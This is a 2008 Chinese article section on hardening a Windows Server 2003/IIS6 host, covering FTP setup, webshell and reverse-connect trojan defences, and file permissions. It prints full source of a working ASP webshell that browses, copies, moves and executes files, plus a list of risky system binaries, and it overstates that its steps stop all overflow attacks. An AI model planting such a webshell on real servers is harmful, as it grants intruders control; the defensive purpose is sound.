扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
来源:www.enet.com.cn 2008年9月27日
关键字: 服务器组网 安全管理 系统安全 Windows 2003
在本页阅读全文(共2页)
现在我们打开“开始菜单”→“程序”→“管理工具”→“Internet 信息服务(IIS)管理器”,弹出一个IIS管理器窗口,在里面找到“FTP站点”→“默认FTP 站点”,并在“默认FTP 站点”里点击鼠标右键,选择“属性”选择,出现一个“默认FTP 站点属性”对话框,选择“主目录”标签,把原来默认的地址改为我们刚才建立的文件夹D:\cnhack 的路径,下面会有三个选项,分别是、“读取、写入、记录访问”,你可以根据需要勾选,如果中介提供给别人下载的FTP空间,则不要勾选写入选项,如果需要提供给别人上传及更改FTP空间内容的,则需要勾选写入选项。本例中,我们是让朋友可以把数据上传到FTP空间的,所以我们勾选了“写入”选项,如下图(图20)所示:
(图20)
下面我们再来配置使用指定的我们刚才建立的帐号cnhack 才能登陆现在这个FTP空间,我们现在点击“安全帐户”标签,再点击“浏览”按钮,根据提示选择我们刚才建立的cnhack用户名,然后点击确定,这样就指定了这个空间只有使用我们设置的cnhack 用户帐号才能登陆,记住不要勾选下面的“只允许匿名连接”选项,因为这样将会带来安全问题,如下图(图21)所示:
(图21)
现在我们再来指定该FTP站点的IP地址,我们只要点击“FTP站点”标签,然后在“IP地址(I)”的右栏输入框里输入我们本机的IP地址即可。还有可以在“TCP/IP端口(T)”的右输入框里修改当前FTP站点的TCP/IP端口号,默认情况下是使用21端口的。如下图(图22)所示:
(图22)
这样一个安全的FTP站点就建立成功了。使用IIS6建立的FTP服务器可以使用IE及FTP客户端软件登陆FTP空间。而且功能强大。
10、IIS6下防范WebShell安全配置:
前几节中,我们已经介绍过了如何在IIS6下配置CGI、PHP,在Win2003系统下,ASP和ASPX都是系统组件,都可以在“开始菜单”→“控制面版”→“添加删除程序”里安装及删除的。关于安装及配置上述组件的方法在这里不再详述。
(1)配置一个简单的WWW虚拟主机:
现在我们举例如何组建一个WWW的虚拟主机网站,我们现在打开“Internet 信息服务(IIS)管理器”,在左栏窗口中双击“网站”会展开一个关联菜单,找到“默认网站”点击右键出现一个菜单,选择菜单里的“属性”选项,弹出一个“默认网站属性”窗口,现在我们选择“网站”标签,在“IP地址(I)”的右栏里输入你机器的IP地址,本例中,我们的IP地址输入为192.168.0.8 ,这个IP地址就是我本机的IP地址,在“TCP端口(T)”里我们可以看到默认的浏览窗口是80,在这里我们可以更改浏览网站的端口号,点击右栏的“高级(D)”按钮,我们可以在里面添加或删除我们网站的浏览域名,当然这个域名是你在Internet上申请来的,并把域名的A记录指向到了你的本机IP,以后我们就可以使用域名记录来访问你的网站了。
现在我们来配置这个虚拟主机的WWW访问目录,我们点击“主目录”标签,在“本地路径(C)”的右栏里输入你这个虚拟主机在WWW所要浏览的目录,在本例中,我们输入D:\cnhack ,这样明人就能在WWW上通过http 协议访问我们服务器里的D:\cnhack 目录里的资源了。在“本地路径(C)”的下方有多个可勾选的选项,一般我们保留默认的就行了,千万不要勾选“写入”项,因为这样将会导致服务器的安全问题,一般我们只使用默认的“读取(R)、记录访问(V)、索引资源(I)”就已经足够了。如下图(图23)所示:
(图23)
我们还可以在“文档”标签里添加虚拟主机默认的首页文件名等,这样一个简单的虚拟主机服务就配置完成了。如果你已经按上几节所写的配置过成,那么现在你的这个虚拟主机将会是已经支持ASP、ASPX、CGI、PHP、FSO、JMAIL、MySql、SMTP、POP3、FTP、3389终端服务、远程桌面Web连接管理服务等功能强大的服务器了。
(2)、安全使用FSO主机:
其实按我们上一节所说的配置一个简单的虚拟主机,这样的主机是存在各种WEBSHELL的威胁的,假如你给朋友开了个虚拟主机空间,那么这个虚拟主机存在的最大安全隐患将会是FSO权限问题,其实FSO的安全隐患在Win2K系统里已经是令网管头疼的事了,但在Win2003中这个FSO的安全隐患却依然没有解决,在没有经过安全配置的虚拟主机下,只要黑客给虚拟主机空间上传一个ASP木马,黑客就能利用FSO权限浏览服务器里的所有文件,并能复制、删除服务器里的所有文件,甚至能利用ASP木马取得服务器的管理权,可见FSO安全配置的重要性。
下面我们举例,如果黑客通过某些手段在你的虚拟主机空间上传了一个ASP木马,那么就等于黑客已经拥有了一个WEBSHELL,黑客可以通过这个WEBSHELL控制整台服务器里的数据,本例中我们介绍的是黑客们都熟悉的海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……如下图(图24)所示:
(图24)
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。各黑客网站上还有其它版本的ASP木马下载,但基本上都是调用FSO(Scripting.FileSystemObject)写的。
其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\windows\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象。
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
(3)免FSO对像就能使用的ASP木马防范方法:
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。以下是当你浏览这个ASP木马时,所出现的图例,如(图25)所示:
(图25)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD < szCMD = Request.Form("text") '目录浏览
if (szCMD <>"") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" &co.path &"-----" &co.size &"</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1< szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path &"\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3< szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path &"\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5< szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为.ASP ,再传到你的虚拟主机空间就可以运行了。
防范免FSO支持的ASP木马方法如下:
通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立shell 对像的,我们只要在注册表里查找键值shell.application和wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。
各黑客网站上还有各种各样的WEBSHELL下载,除了ASP的WEBSHELL以外,还有CGI、PHP、JSP的等等。基本上都是大同小异的,还有一些WEBSHELL是调用系统下的CMD.EXE命令运行的。但这些调用服务器系统CMD.EXE的WEBSHELL木马在Win2003下没法运行了,能调用CMD.EXE命令的WEBSHELL只在Win2K下测试通过,在Win2003下,那些ASP、CGI、PHP、JSP的WEBSHELL已经不能调用CMD.EXE的命令了。原因很简单,因为Win2K下的CMD.EXE命令在默认情况下是能以匿名及来宾权限访问的,而Win2003系统下,CMD.EXE命令却禁止了“Everyone”匿名访问及“Guests”组的访问权限了,所以各种调用CMD.EXE的WEBSHELL木马都没法运行了,这也算是Win2003系统安全上的一点进步吧。
十一、配置一台安全的服务器,把各种溢出攻击、反向连接木马拒于门外:
上一节中,我们谈到了有些WEBSHELL能通过调用系统的CMD.EXE命令在服务器上运行CMD命令,我们再细想一下,现在网络上流行的溢出攻击,如WEBDAV溢出等不就是对存有溢出漏洞的服务器进行溢出攻击的吗?攻击成功后,被溢出的服务器就会自动绑定服务器的CMD.EXE命令,黑客就会远程连接被溢出成功的服务器的CMD.EXE命令行。以取得远程服务器的系统管理权。
既然黑客的溢出攻击是通过溢出攻击工具溢出成功后绑定CMD.EXE命令并以SYSTEM系统权限登陆服务器的,只要我们对Win2003系统下的C:\WINDOWS\SYSTEM32\CMD.EXE文件设置一定的权限,呵呵,那么黑客的这些溢出攻击都将没用武之地了。为了安全起见,我们还要对如net.exe cacls.exe telnet.exe tftp.exe ftp.exe format.com mountvol.exe mshta.exe等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许SYSTEM权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保服务器系统真正的安全。这些危险的文件默认的情况下,都是存放在C:\WINDOWS\SYSTEM32 的目录下的。设置权限的方法如下图(图26)所示:
(图26)
清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是administrator 那么,你就在权限设置里只允许用户名为administrator 的用户使用这些命令。
通过这些安全配置,以后你的服务器就算存在溢出漏洞,就算黑客对你的服务器进行溢出攻击成功,黑客也没法登陆你的服务器的了,因为一般黑客的溢出攻击都是通过绑定远程被溢出攻击服务器的系统CMD命令登陆的,并且是以SYSTEM权限登陆,而你在CMD的使用权限里删除了所有用户的使用CMD权限,只有你正在使用的超级管理员帐号才能拥有这个CMD命令的使用权,所以黑客就算溢出成功了,也没法远程连接并登陆你的服务器了。通过最简单的安全配置,就能防范多种未知及已知的溢出攻击,是不是很实用呢!:)
但这只能是相对的安全,因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的Serv-U溢出,如果你的FTP服务器使用了Serv-U的话,你又没有打上最新的安全补丁,让黑客溢出成功了,那么黑客可以不绑定你的CMD命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向黑客的机器连接,而黑客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,黑客不能正向与你的服务器联接木马后门,但黑客给你传一个反向连接的木马,这个木马是通过你的服务器连接黑客的机器的,只要你的服务器向黑客的机器发出连接请求,黑客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于Win2003系统下的CMD.EXE。可以反向连接木马的危害性。
那么我们如何防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及金山网镖等防火墙。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如黑客成功溢出了你的Serv-U服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的C:\MM.EXE ,黑客所在IP地址是192.168.0.18 ,现在黑客要对你服务器的这个反向连接木马进行连接,只要黑客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图(图27)所示:
(图27)
通过上述配置,我们的服务器已经能抵挡目前已知及未知的任何溢出攻击了,当然这些对于服务器安全来说还不够的,我们还要屏蔽掉一些我们不使用的服务端口,方法很简单,在桌面上右键点击“网上邻居”图标,出现一菜单,选择“属性”,这时弹出一个“网络连接”的窗口,找到“本地连接”再点击鼠标右键,选择“属性”,弹出“本地连接属性“窗口,选择“Internet 协议(TCP/IP)”再点击“属性”按钮,弹出“Internet 协议(TCP/IP)属性”窗口,点击“高级(V)”按钮,出现“高级TCP/IP 设置”窗口,选择“选项”标签,再点击“属性(P)”按钮,这时弹出一个“TCP/IP筛选”对话框,在这个窗口里设置你需要开放服务的端口。如FTP服务需要开放21端口,WWW服务需要开放80端口,SMTP服务需要开放25端口,POP3服务需要开放110端口,终端服务需要开放3389端口,MYSQL数据库需要开放3306端口……
如下图(图28)所示:
(图28)
只要你通过了本文所述的方法配置你的服务器,你的服务器将会是一台稳若金汤的服务器,目前网络上流行的溢出攻击及一些未知的溢出等攻击方法,各种ASP、ASPX、CGI、PHP、JSP的WEBSHELL攻击等在你的服务器里也没用武之地。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。